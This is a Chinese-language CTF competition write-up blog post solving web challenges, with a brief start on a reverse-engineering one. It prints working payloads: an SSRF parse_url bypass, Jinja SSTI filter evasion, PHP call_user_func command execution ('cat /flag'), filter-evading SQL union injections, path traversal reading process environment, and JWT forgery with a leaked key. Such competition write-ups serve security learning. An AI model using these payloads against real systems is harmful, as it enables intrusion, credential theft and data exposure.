轩辕杯 - 云盾砺剑CTF挑战赛

Octopus Lv3

新生赛练手题,借着这个机会学了点点逆向

Web

ezjs

js 小游戏

/js/main.js源代码

1
2
http://27.25.151.26:30461/getflag.php
POST: score=100000000000

ezssrf1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";

这题唯一难点就是如何让 hostnull,单斜杠时parse_url就识别不到host键,再通过浏览器特性@来指定域名

1
http://27.25.151.26:42162/?url=http:/@127.0.0.1/
1
http://27.25.151.26:42162/?url=http:/@127.0.0.1/flag

拿到 Flag

1
http://27.25.151.26:42162/?url=http:/@127.0.0.1/FFFFF11111AAAAAggggg.php

签到

第一关

1
2
3
4
5
6
POST /?a=welcome HTTP/1.1
Host: 27.25.151.26:29256
Cookie: star=admin
...

b=new

第二关

1
http://27.25.151.26:29256/l23evel4.php?password=2025.

第三关

1
2
3
4
POST /levelThree.php HTTP/1.1
Referer: http://11/secretcode

key=ctfpass

第四关

1
2
3
4
5
HEAD /level444Four.php HTTP/1.1
Host: 27.25.151.26:29256
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 ;identity=n1c3 Firefox/138.0


1
W3lC0E_CtF

第六关

1
ls /
1
ca\t /fl\ag

ezflask

过滤了 . 、import 、flag、popen 等等关键词

测试的时候发现 []好像不在黑名单中,但是调用总是 Internal Server Error。利用 attr 绕过 .号过滤,__getitem__绕过 []调用失败的问题,拼接绕过 flag关键词过滤
最终 Payload 如下

1
/?name={{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(99)|attr('get_data')(0,'/fl''ag')}}

听说好像 fenjing直接就能嗦。

ezrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);

$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);

if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>
1
2
http://27.25.151.26:52228/?num=1235
POST: new=\system&&star=cat /flag

ezsql1.0

select被替换了空,空格在黑名单中

简单绕过,测试库表列

1
-1/**/union/**/selselectect/**/1,2,database()#
1
-1/**/union/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
1
-1/**/union/**/selselectect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='flag'
1
-1/**/union/**/selselectect/**/1,2,group_concat(id,data)/**/from/**/flag

FLAG

1
-1/**/union/**/selselectect/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata
1
-1/**/union/**/selselectect/**/*/**/from/**/xuanyuanCTF.info#

ez_web1

访问网页

给了用户名,随便试一下就进去了

1
fly233/123456789

两个接口,文件读取以及上传,这里一个非预期,直接读 /proc/1/version

接下来是预期解法,先读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt

app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}

def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token

def decode_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None

@app.route('/')
def index():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
username = payload['username']
books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
return render_template('./index.html', username=username, books=books)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':

return render_template('./login.html')
elif request.method == 'POST':

username = request.form.get('username')
password = request.form.get('password')


if username in users and users[username] == password:
token = generate_token(username)
response = make_response(jsonify({
'message': 'success'
}), 200)

response.set_cookie('token', token, httponly=True, path='/')
return response
else:

return {'message': 'Invalid username or password'}

@app.route('/read', methods=['POST'])
def read_book():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
book_path = request.form.get('book_path')
full_path = os.path.join(book_dir, book_path)
try:
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)
except FileNotFoundError:
return "文件未找到", 404
except Exception as e:
return f"发生错误: {str(e)}", 500

@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
if request.method == 'GET':

return render_template('./upload.html')
if payload.get('username') != 'admin':
return """
<script>
alert('只有管理员才有添加图书的权限');
window.location.href = '/';
</script>
"""
file = request.files['file']
if file:
book_path = request.form.get('book_path')
file_path = os.path.join(book_path, file.filename)
if not os.path.exists(book_path):
return "文件夹不存在", 400
file.save(file_path)

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = r'[{}<>_%]'

if re.search(pattern, content):
os.remove(file_path)
return """
<script>
alert('SSTI,想的美!');
window.location.href = '/';
</script>
"""
return redirect(url_for('index'))
return "未选择文件", 400

只有 admin用户才能上传文件,先读取 /proc/self/envsion获取 key

1
JWT_KEY=th1s_1s_k3y

伪造 admin用户登录凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
SECRET_KEY = 'th1s_1s_k3y'

def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token

print(generate_token('admin'))

#eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

文件上传之后有短暂的时间存在,然后被删除,这里采用条件竞争来 SSTI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
book_path = request.form.get('book_path')
file_path = os.path.join(book_path, file.filename)
if not os.path.exists(book_path):
return "文件夹不存在", 400
file.save(file_path)

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = r'[{}<>_%]'

if re.search(pattern, content):
os.remove(file_path)
return """
<script>
alert('SSTI,想的美!');
window.location.href = '/';
</script>
"""
return redirect(url_for('index'))

思路是通过 BurpSuite 重复发包来进行条件竞争

Reverse

ezBase

UPX 加了一层壳

脱壳,这里加壳是魔改过的,010 修改回去

  • 标题: 轩辕杯 - 云盾砺剑CTF挑战赛
  • 作者: Octopus
  • 创建于 : 2025-05-22 11:51:50
  • 更新于 : 2025-06-11 20:10:45
  • 链接: https://redefine.ohevan.com/2025/05/22/2025轩辕杯/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
轩辕杯 - 云盾砺剑CTF挑战赛